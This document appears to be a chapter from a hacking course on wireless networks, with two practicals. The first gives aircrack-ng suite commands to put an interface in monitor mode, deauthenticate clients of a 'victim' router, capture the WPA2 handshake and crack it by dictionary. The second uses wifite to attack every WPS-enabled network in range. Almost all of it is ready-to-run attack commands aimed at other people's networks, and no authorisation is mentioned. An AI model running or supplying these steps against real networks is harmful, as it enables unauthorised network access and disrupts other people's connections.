14. Hacking Wireless Networks

Practical 1: Cracking WPA2 passwords using aircrack-ng in Kali Linux

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1. Make sure to put your wireless interface down. Enter command in following syntax:

ifconfig <interface> down

For example:

ifconfig wlan0 down

2. Start the monitoring mode by using airmon-ng command:

airmon-ng start wlan0

3. Scan for available Wi-Fi networks in your area using airodump-ng:

airodump-ng wlan0mon

4. On your victim's Wi-Fi start monitoring using airodump-ng:

airodump-ng wlan0mon --bssid <MAC address of victim router> -c <channel no> -w <Location and name of file>

5. Start DOS attack on some connected device using aireplay-ng:

aireplay-ng wlan0mon -0 5 -a <MAC address of victim router> -c <MAC address of any client>

- 6. Once you get handshake, hit ctrl+c to stop monitoring, And now we need to crack the captured password.
- 7. Crack the password via dictionary attack using aircrack-ng:

aircrack-ng <Location and name of capture file> -w <Location and name of dictionary file>

Practical 2: Cracking passwords using wifite in Kali Linux

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1. In Kali Linux terminal enter following command:

wifite --wps

This is will detect and list all Wi-Fi networks in your area which has wps enabled.

- 2. Once you get the list then you can provide the serial number of the target Wi-Fi or you can also enter "all" to start cracking them.
- 3. wifite will start multiple techniques of cracking wps pin. It may take some time.
- 4. Once it is able to get the password, it will be printed on screen n plain text.